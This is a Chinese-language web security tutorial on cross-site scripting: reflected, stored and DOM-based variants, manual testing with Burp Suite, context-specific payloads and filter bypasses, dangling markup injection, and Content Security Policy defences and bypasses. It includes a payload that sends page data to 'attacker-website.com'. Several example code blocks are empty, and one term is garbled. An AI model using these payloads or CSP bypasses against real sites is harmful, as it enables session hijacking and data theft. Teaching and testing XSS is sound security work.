知识
原理
XSS(Cross-site scripting)就是网站的一个安全漏洞——攻击者能利用这个漏洞,搞乱用户和网站的正常交互。
浏览器原本禁止不同网站之间随便访问对方的数据(比如打开淘宝,淘宝不能直接读取你微信的数据),这就是同源策略。但XSS能绕开这个规则。
一旦网站有XSS漏洞,攻击者就能伪装成受害用户,干用户能做的所有事(比如发消息、转账),还能看用户的所有数据(比如个人信息、登录凭证)。如果这个用户是网站管理员(有最高权限),攻击者甚至能完全控制整个网站。
工作机制很简单:攻击者让有漏洞的网站,给用户返回一段恶意的JavaScript代码。等用户打开网站,这段代码就在用户的浏览器里自动执行了——这时候,用户和网站的交互就被攻击者完全操控了。
XSS 攻击主要分 3 种:
- 反射型 XSS:恶意代码藏在当前的 HTTP 请求里(比如搜索框输入、URL 参数里),网站没处理就直接返回,浏览器一执行就中招。
- 存储型 XSS:恶意代码会被网站存到数据库里(比如评论区、个人资料页),只要有人打开包含这段代码的页面,就会自动执行 —— 相当于把恶意代码留在网站上,谁来谁中招。
- DOM 型 XSS:这个漏洞不在网站服务器的代码里,而是在你浏览器端的代码(比如网页里的 JavaScript)里,是客户端自己处理数据时出的问题。
验证XSS漏洞(PoC)
想知道一个网站有没有XSS漏洞,最直接的办法就是“注入测试代码”:往网站的输入框(比如评论区、搜索框)里填一段JavaScript代码,看能不能让浏览器执行。
以前大家都用alert()函数做测试——这函数特别好用:代码就几个字、没危险,而且一旦执行成功,浏览器会弹出一个提示框,一眼就能看出来漏洞存在。大部分情况只要让模拟用户的浏览器弹出这个提示框,就算验证成功了。
不过有个小坑:用Chrome浏览器的话,从92版本(2021年7月更新)开始,跨网站的iframe里不能用alert()了。有些复杂的XSS攻击需要用到这种iframe,这时候就换个测试代码——用print()函数就行(执行后会弹出打印页面,同样能验证漏洞)。
反射型
应用程序从HTTP请求中接收数据后,未经过安全处理便将其直接嵌入即时响应内容中,导致恶意脚本被浏览器执行。其核心特征是恶意代码通过请求“反射”至响应结果,仅在单次请求-响应周期中生效,不涉及数据存储。
示例
假设某网站的搜索功能通过URL参数接收用户输入的关键词,例如用户搜索“gift”时,请求URL如下:
|
|
应用程序收到请求后,会将参数term的值直接回显到响应页面中,返回的HTML内容为:
|
|
此时数据仅作为正常文本展示,无安全风险。
当应用程序未对请求参数进行过滤、转义等安全处理时,攻击者可构造包含恶意JavaScript代码的URL:
|
|
应用程序依然直接回显参数内容,导致响应中包含恶意脚本:
|
|
当受害者点击该恶意URL时,恶意脚本会在其浏览器中执行,且执行上下文与受害者的应用程序会话相关联——攻击者可借此获取用户会话凭证、篡改页面内容等。
影响
若攻击者能够控制在受害用户浏览器中执行的脚本,通常可完全攻陷该用户的账户与交互环境。具体而言,攻击者可实现以下操作:
- 执行受害用户在应用内有权限完成的任意操作;
- 查看受害用户可访问的所有信息;
- 修改受害用户有权限更改的各类数据;
- 以受害用户的身份与应用内其他用户发起交互(包括实施恶意攻击),且此类操作会显示为受害用户本人所为。
攻击者需通过外部传播渠道诱导受害用户发起受控请求,方可成功实施反射型 XSS 攻击。常见传播手段包括:
- 在自身控制的网站或支持用户生成内容的第三方平台上植入恶意链接;
- 通过电子邮件、推特(Twitter)或其他即时通讯工具向目标用户发送恶意链接。
攻击方式
反射型XSS存在多种具体表现形式,其漏洞利用所需的攻击载荷(Payload)类型及漏洞影响范围,主要取决于以下两个核心因素:
- 反射数据在响应中的位置
应用程序将用户输入数据反射至响应内容时,会嵌入不同的上下文场景(如HTML标签内、标签属性中、JavaScript代码块里等),不同位置对攻击载荷的格式要求截然不同。
- 示例1:数据嵌入HTML标签文本中(如
<p>用户输入</p>),通常需使用<script>等标签构造恶意脚本; - 示例2:数据嵌入HTML标签属性中(如
<img src="用户输入">),可能需要先闭合属性引号(如"onload=恶意代码")再注入脚本; - 示例3:数据嵌入JavaScript代码中(如
var x = "用户输入"),需先闭合字符串或代码块(如"; 恶意代码; //)才能让脚本执行。
- 应用程序对提交数据的预处理
若应用程序在反射数据前,对用户输入执行了验证、过滤或编码等处理(如过滤<script>标签、将特殊字符转义为HTML实体等),则需针对性调整攻击载荷:
- 若过滤了
<script>标签,可改用<img onload>、<svg onload>等不含被过滤关键词的事件驱动型脚本; - 若对
<、>等字符进行了HTML编码,可尝试在JavaScript上下文或属性上下文等未编码的场景中注入,或利用编码绕过技巧(如大小写混淆、特殊字符替换)。
漏洞发现
绝大多数反射型XSS漏洞可通过Burp Suite的Web漏洞扫描器快速、可靠地检测到。以下是手动测试反射型XSS漏洞的完整步骤,结合实战场景拆解操作逻辑:
一、覆盖所有输入入口
需逐一测试应用程序HTTP请求中所有可能传入数据的入口,确保无遗漏:
- 核心输入点:URL查询字符串(如
?id=123)、POST请求体(表单数据)、URL路径(如/user/[输入值]); - 可选测试点:HTTP请求头(如Referer、User-Agent、Cookie等)—— 需注意:部分仅能通过特定请求头触发的XSS类行为,实际可能无法利用(因浏览器对请求头的输入限制或同源策略约束)。
二、提交随机字母数字值,验证数据是否反射
构造测试值:为每个输入入口提交一个唯一的随机字母数字值(如x7z9p2q5)。要求:
- 仅含字母数字(避免触发输入验证拦截);
- 长度约8字符(既简短易通过验证,又能降低响应中偶然匹配的概率);
工具辅助高效测试:
- 用Burp Intruder的“随机生成十六进制值”功能生成测试值;
- 开启Burp Intruder的“Grep Payloads”设置,自动标记包含提交值的响应(快速筛选出存在反射的入口);
核心目的:确认提交的随机值是否原封不动(或仅轻微修改)出现在响应内容中—— 存在反射是触发XSS的前提。
三、确定反射上下文
针对响应中随机值出现的每个位置,分析其嵌入上下文(不同上下文需对应不同攻击载荷),常见场景包括:
- HTML标签间文本:如
<p>随机值</p>(直接嵌入标签内容); - 带引号的标签属性:如
<input value="随机值">(可能是单引号、双引号或无引号包裹); - JavaScript代码中:如
var data = "随机值";(嵌入脚本字符串、注释或代码块); - CSS样式中:如
<style>body{color:随机值;}</style>(较少见,但需注意上下文约束)。
四、测试候选 Payload
根据反射上下文,设计能触发JavaScript执行的初始候选载荷,操作步骤:
- 将请求发送到Burp Repeater(右键请求 → Send to Repeater);
- 保留原始随机值(作为定位标记),在其前后插入候选载荷(如在
x7z9p2q5前添加<script>alert(1)</script>); - 在Burp Repeater的响应视图中,搜索原始随机值—— Burp会高亮所有反射位置,便于快速查看载荷是否被原样保留;
- 核心判断:若载荷未被修改且符合上下文语法(如标签闭合正确、引号匹配),则可能触发XSS。
五、测试替代载荷(应对输入过滤/修改)
若候选载荷被应用程序过滤(如移除<script>标签)、编码(如将<转义为<)或拦截,则需根据反射上下文和输入验证规则,调整载荷策略:
- 上下文适配:如HTML属性中用
"onload=alert(1)x="(闭合属性引号+事件触发),JavaScript中用";alert(1);//(闭合字符串+注释后续代码); - 绕过过滤:如大小写混淆(
<Script>alert(1)</Script>)、标签替换(<img src=x onerror=alert(1)>替代<script>)、特殊字符编码(如URL编码、Unicode编码); - 参考:可结合“跨站脚本攻击上下文”相关知识,针对性设计载荷。
六、在浏览器中验证攻击效果
若在Burp Repeater中确认载荷有效,需在真实浏览器中验证(避免工具环境与实际浏览器的差异导致误判):
- 触发方式:
- URL参数注入:直接将含载荷的URL粘贴到浏览器地址栏;
- POST请求/请求头注入:用Burp Proxy拦截请求,修改参数后放行,观察浏览器行为;
- 验证脚本:推荐执行简单可见的JavaScript(如
alert(document.domain)),若浏览器弹出包含当前域名的提示框,则说明XSS漏洞已成功利用。
存储型
应用程序从不可信来源接收数据后,未经过安全处理便将其纳入后续的 HTTP 响应中,导致恶意脚本被浏览器执行的漏洞类型。其核心特征是恶意数据会被应用程序持久化存储(如存入数据库),而非仅在单次请求 - 响应周期中临时传递。
示例
假设某网站支持用户对博客文章提交评论,且评论内容会对所有访问该文章的用户展示。用户提交评论时,发送的HTTP请求如下:
|
|
评论提交后,任何访问该博客文章的用户,都会在应用程序的响应中看到该评论内容:
|
|
此时数据仅作为正常评论展示,无安全风险。
若应用程序未对评论内容进行过滤、转义等安全处理,攻击者可提交包含恶意JavaScript代码的评论。在攻击者发送的请求中,恶意评论会被URL编码(避免传输过程中出现解析异常):
|
|
该恶意评论会被应用程序存储至数据库。当其他用户访问该博客文章时,应用程序会从数据库中读取该评论并嵌入响应内容,返回结果如下:
|
|
此时,攻击者注入的恶意脚本会在受害用户的浏览器中执行,且执行上下文与受害用户的应用程序会话相关联。
影响
存储型 XSS 与反射型 XSS 的关键区别在于攻击的自包含性:
- 存储型 XSS 的攻击完全依托应用程序自身完成:攻击者只需将恶意脚本注入并存储到应用中(如评论区、数据库),无需依赖外部渠道诱导用户触发(如发送恶意 URL、诱导提交表单),只需等待用户自然访问包含恶意脚本的页面即可。
- 反射型 XSS 则依赖外部触发:攻击者必须通过邮件、社交平台等外部方式,诱导用户主动发起包含恶意代码的请求,攻击才能生效。
当 XSS 漏洞仅影响已登录用户时,存储型 XSS 的自包含特性会显著提升攻击成功率:
- 反射型 XSS 的攻击存在 “时间窗口限制”:若用户点击恶意链接时未登录应用,攻击将无法利用用户会话权限,大概率失效;
- 存储型 XSS 可完全规避该问题:用户只有在登录状态下才会访问包含恶意脚本的页面(如已登录用户查看评论、个人中心等),一旦访问,恶意脚本会直接在用户的登录会话上下文的中执行,攻击成功率极高。
漏洞发现
一、明确测试范围
需测试的输入入口(数据进入应用的渠道)
所有攻击者可注入数据的场景均需覆盖,包括:
- 核心输入点:URL 查询字符串、POST 请求体中的参数 / 数据,URL 文件路径(如
/profile/[输入值]); - 特殊输入点:部分在反射型 XSS 中难以利用的 HTTP 请求头(存储型场景下可能被持久化,需纳入测试);
- 带外输入渠道(取决于应用功能):攻击者通过非直接交互方式提交数据的路径,例如:
- 邮件应用:处理收到的邮件内容;
- 社交动态展示应用:解析第三方平台(如 Twitter)的推文数据;
- 新闻聚合应用:嵌入其他网站的来源数据。
需测试的输出出口(数据展示的场景)
所有可能向用户返回数据的 HTTP 响应场景,包括:
- 公开页面(如博客评论区、商品评价页);
- 私密页面(如用户个人中心、后台管理面板);
- 特殊功能页面(如审计日志、历史操作记录、通知列表)。
二、手测
若逐一测试 “输入 - 输出” 的所有组合(每个输入对应每个输出),在多页面应用中完全不现实。更高效的做法是:
- 系统性遍历输入入口:为每个输入点提交一个唯一标识值(如
stored_xss_test_123); - 监控应用响应:观察所有后续访问的页面响应,检测该标识值是否出现;
- 重点关注高风险功能:优先测试评论区、个人资料编辑、动态发布等典型存储场景;
- 验证数据持久性:若标识值出现在响应中,需确认该数据是 “跨请求存储”(如数据库存储),而非仅在单次请求中反射(避免误判为反射型 XSS)。
三、漏洞验证
当找到明确的 “输入 - 输出” 对应关系后,需按以下步骤验证存储型 XSS 漏洞,流程与反射型 XSS 测试大致一致:
- 确定输出上下文:分析标识值在响应中的嵌入位置(如 HTML 标签间、标签属性、JavaScript 代码块等);
- 设计适配载荷:根据上下文场景,构造能触发 JavaScript 执行的候选攻击载荷(如属性上下文用
"onerror=alert(1)x=",JS 上下文用";alert(1);//); - 提交并验证:将载荷通过输入入口提交(如发布含载荷的评论),访问对应的输出页面,检查载荷是否被原样存储并展示;
- 绕过输入处理:若载荷被过滤 / 编码,根据应用的输入验证规则(如过滤
<script>标签、HTML 编码),调整替代载荷(如事件驱动标签、大小写混淆、编码绕过); - 浏览器确认:最终在真实浏览器中访问输出页面,验证恶意脚本是否实际执行(如用
alert(document.domain)触发弹窗)。
DOM型
文档对象模型(DOM)通过将文档的结构(例如表示网页的 HTML)以对象的形式存储在内存中,将网页与脚本或编程语言连接起来。尽管将 HTML、SVG 或 XML 文档建模为对象并不是 JavaScript 核心语言的一部分,但它通常与 JavaScript 相关。
DOM型跨站脚本攻击(DOM-based XSS)漏洞的核心成因是:JavaScript从攻击者可控制的数据源(如URL)获取数据后,将其传递给支持动态代码执行的数据接收点(Sink)(如eval()函数、innerHTML属性),导致攻击者注入的恶意JavaScript代码被执行,最终通常可实现劫持用户账户等攻击目的。
漏洞发现
绝大多数DOM型XSS漏洞可通过Burp Suite的Web漏洞扫描器快速、可靠地检测。手动测试需借助带开发者工具的浏览器(如Chrome),按“逐个测试数据源→针对性验证接收点”的逻辑开展。
一、测试HTML类接收点(如innerHTML、document.write())
HTML类接收点的核心特征是:攻击者输入的数据会最终嵌入DOM结构中,测试步骤如下:
- 注入标识字符串:将随机字母数字组合(如
dom_xss_test_789)注入目标数据源(如URL查询字符串?param=dom_xss_test_789); - 检查DOM中的位置:
- 注意:浏览器“查看源代码”功能无效(无法显示JavaScript动态修改后的DOM),需打开Chrome开发者工具(F12),在「Elements」面板中按
Ctrl+F(Mac为Command+F)搜索标识字符串,定位其在DOM中的具体位置;
- 注意:浏览器“查看源代码”功能无效(无法显示JavaScript动态修改后的DOM),需打开Chrome开发者工具(F12),在「Elements」面板中按
- 分析上下文并测试:根据标识字符串的嵌入上下文,调整输入内容测试是否可突破限制:
- 若在双引号包裹的属性中(如
<input value="标识字符串">),尝试注入双引号(")+ 事件脚本(如"?onclick=alert(1)x="),测试是否能跳出属性并触发脚本; - 若在HTML标签间(如
<div>标识字符串</div>),尝试注入<script>标签或事件驱动标签(如<img src=x onerror=alert(1)>)。
- 若在双引号包裹的属性中(如
不同浏览器对URL数据源的编码行为不同,直接影响攻击效果:
- Chrome、Firefox、Safari:会对
location.search(查询字符串)和location.hash(片段标识符)进行URL编码(如<编码为%3C); - IE11、旧版Edge(非Chromium内核):不会对上述数据源编码;
- 若注入的数据在被处理前已被URL编码,通常无法触发XSS(编码后的特殊字符无法被浏览器解析为脚本语法)。
二、测试JavaScript执行类接收点(如eval()、setTimeout())
此类接收点的核心特征是:攻击者输入的数据会作为JavaScript代码执行,且不一定会嵌入DOM中,测试难度更高,步骤如下:
- 定位数据源引用:打开Chrome开发者工具,按
Ctrl+Shift+F(Mac为Command+Alt+F),搜索页面所有JavaScript代码中对目标数据源的引用(如搜索location.search、location.hash); - 通过调试跟踪数据流转:
- 在数据源被读取的代码位置设置断点(点击代码行号左侧);
- 刷新页面触发断点,逐步跟踪数据流向:观察数据源的值是否被赋值给其他变量,若有则继续搜索这些变量,直至找到其传递到的危险接收点(如
eval(变量名));
- 验证并构造载荷:在断点处悬停变量,查看数据传递到接收点前的原始值;根据接收点的语法规则构造载荷(如
eval()接收字符串,可注入";alert(1);//闭合原有字符串并执行脚本)。
三、使用DOM Invader工具简化测试
在实际场景中,DOM型XSS的测试往往需要手动分析复杂、压缩后的JavaScript代码,过程繁琐。若使用Burp内置浏览器,可借助其自带的DOM Invader插件,该工具能自动识别数据源与接收点的关联、跟踪数据流转,大幅降低手动测试的工作量。
漏洞利用
DOM型XSS的漏洞本质是:攻击者可控的数据源(如URL)经客户端JavaScript流转至危险接收点(Sink),且未做安全处理,导致恶意脚本执行。实际利用需适配数据源/接收点特性,绕过页面数据验证逻辑。
| 接收点类型 | 特性与示例载荷 |
|---|---|
| document.write() | 支持<script>标签,可直接注入:<script>alert(document.domain)</script>;需注意闭合现有HTML元素 |
| innerHTML | 现代浏览器不支持<script>,需用事件驱动标签:<img src=1 onerror=alert(document.domain)> |
| jQuery(attr()) | 若控制href等属性,可注入JS协议:javascript:alert(document.domain) |
| jQuery($()选择器) | 旧版本存在漏洞,可通过hashchange事件注入:#<img src=1 onerror=alert(1)>(需iframe触发) |
| AngularJS | 支持双花括号执行JS,无需尖括号/事件:{{alert(document.domain)}}(需网站启用ng-app) |
- 第三方依赖漏洞:jQuery、AngularJS等框架的特定函数(如jQuery的html()、AngularJS的表达式)可能成为接收点;
- 结合反射/存储机制:
- 反射型DOM XSS:服务器将URL参数反射到页面,客户端脚本 unsafe 处理后触发;
- 存储型DOM XSS:服务器存储恶意数据,后续响应中客户端脚本 unsafe 处理该数据。
原生JS接收点
|
|
jQuery接收点
|
|
防护措施
- 禁止将不可信数据源(如URL、用户输入)动态写入HTML文档;
- 遵循DOM型漏洞通用防护规则,对数据源进行严格过滤与编码;
- 及时更新第三方框架(如jQuery、AngularJS),修复已知漏洞。
悬挂标记注入
悬挂标记注入是一种无法实施完整XSS攻击时的跨域数据捕获技术,核心是通过构造“未闭合的HTML标记”,诱使浏览器将页面后续敏感数据作为请求参数发送至攻击者控制的服务器,本质是XSS攻击的替代攻击手段。
当应用程序将攻击者可控数据不安全地嵌入响应(如未过滤/转义特殊字符),但因输入过滤、内容安全策略(CSP)等限制无法实施常规XSS时,通过注入“未闭合的HTML属性/标签”,迫使浏览器解析后续页面数据并发送至攻击者服务器的攻击方式。
前提:
- 应用程序未过滤/转义
>、"、'等关键字符,攻击者可突破属性/标签限制; - 常规XSS攻击被阻断(如CSP拦截脚本执行、过滤所有脚本标签/事件);
- 页面注入点后续存在敏感数据(如CSRF令牌、邮件内容、财务信息等)。
示例
假设应用响应中存在不安全嵌入的可控数据(未闭合属性/标签):
|
|
- 攻击者注入 payload:
"><img src='//attacker-website.com?- 第一步:
">闭合原有value属性和<input>标签,回到HTML自由上下文; - 第二步:创建
<img>标签并定义src属性,但其src值仅开头(//attacker-website.com?),未闭合单引号,处于“悬挂”状态;
- 第一步:
- 浏览器解析行为:浏览器会自动查找后续第一个单引号以闭合
src属性,期间所有内容(从注入点之后到第一个单引号前)都会被当作srcURL的一部分,且非字母数字字符(如换行、尖括号)会被URL编码; - 数据捕获:浏览器会向
//attacker-website.com?[后续敏感数据]发送请求,攻击者通过服务器日志即可获取编码后的敏感数据。
防护措施
- 核心防护(与XSS通用):
- 输出编码:将用户可控数据嵌入HTML时,对特殊字符(
>、<、"、'等)进行HTML实体编码; - 输入验证:严格校验输入数据,过滤可能用于突破标签/属性的特殊字符或标记。
- 输出编码:将用户可控数据嵌入HTML时,对特殊字符(
- 辅助防护:
- 内容安全策略(CSP):配置限制
img、link等标签加载外部资源的策略(可阻断部分攻击,但非全部); - 依赖浏览器防护:Chrome浏览器已针对该攻击优化——禁止
img等标签的URL包含尖括号、换行等原始字符,因捕获的敏感数据通常含此类字符,可直接阻断攻击。
- 内容安全策略(CSP):配置限制
CSP 内容安全策略
内容安全策略(CSP)是一种浏览器安全机制,核心目的是缓解XSS、悬挂标记注入、点击劫持等攻击,通过限制页面可加载的资源(如脚本、图片)、是否允许被其他页面嵌套等规则,构建安全的页面运行环境。其核心实现方式是通过HTTP响应头Content-Security-Policy,配置多个用分号分隔的指令(Directive)定义安全规则。
缓解XSS攻击
核心思路是白名单管控脚本来源,阻止攻击者注入的恶意脚本执行,主要通过script-src指令实现:
- 仅允许加载同源脚本:
script-src 'self'('self'表示当前页面所在域名); - 仅允许加载指定域名脚本:
script-src https://scripts.normal-website.com; - 进阶白名单方式(避免依赖外部域名风险):
- 非ces(Nonce):指令中指定随机生成的非ce值,脚本标签需包含相同
nonce属性才允许执行(非ce需每次页面加载随机生成,不可猜测); - 哈希(Hash):指令中指定可信脚本的内容哈希值,脚本内容哈希与指令匹配才允许执行(脚本内容变更需同步更新哈希值);
- 非ces(Nonce):指令中指定随机生成的非ce值,脚本标签需包含相同
- 注意事项:允许外部域名(如CDN)脚本时需谨慎,若第三方域名可被攻击者控制内容,仍可能引发攻击。
缓解悬挂标记注入攻击
通过img-src等指令限制可发起外部请求的资源来源,阻断攻击的数据捕获路径:
- 仅允许同源图片加载:
img-src 'self'; - 仅允许指定域名图片加载:
img-src https://images.normal-website.com; - 局限性:仅能阻断依赖
<img>标签的攻击,无法防御<a>标签href属性等其他形式的悬挂标记注入。
防护点击劫持攻击
通过frame-ancestors指令限制页面被嵌套(iframe)的规则,比X-Frame-Options头更灵活:
- 仅允许同源页面嵌套:
frame-ancestors 'self'; - 完全禁止嵌套:
frame-ancestors 'none'; - 支持多域名/通配符:
frame-ancestors 'self' https://normal-website.com https://*.robust-website.com; - 优势:可验证父框架层级中所有页面的来源,而
X-Frame-Options仅验证顶层框架。
CSP的绕过技巧
- 利用政策注入绕过
- 适用场景:网站将攻击者可控的输入(如URL参数)反射到CSP政策中(常见于
report-uri指令); - 绕过逻辑:注入分号(
;)分割原有指令,添加自定义指令;若report-uri是最后一个指令,需覆盖原有指令(如利用Chrome的script-src-elem指令,可覆盖script-src指令,控制脚本元素执行)。
- 突破外部请求限制
- 场景:CSP禁止所有外部请求;
- 绕过逻辑:诱导用户交互(如点击),注入含未闭合属性的HTML元素(如
<a>标签),用户点击后将元素内的页面数据发送至攻击者服务器。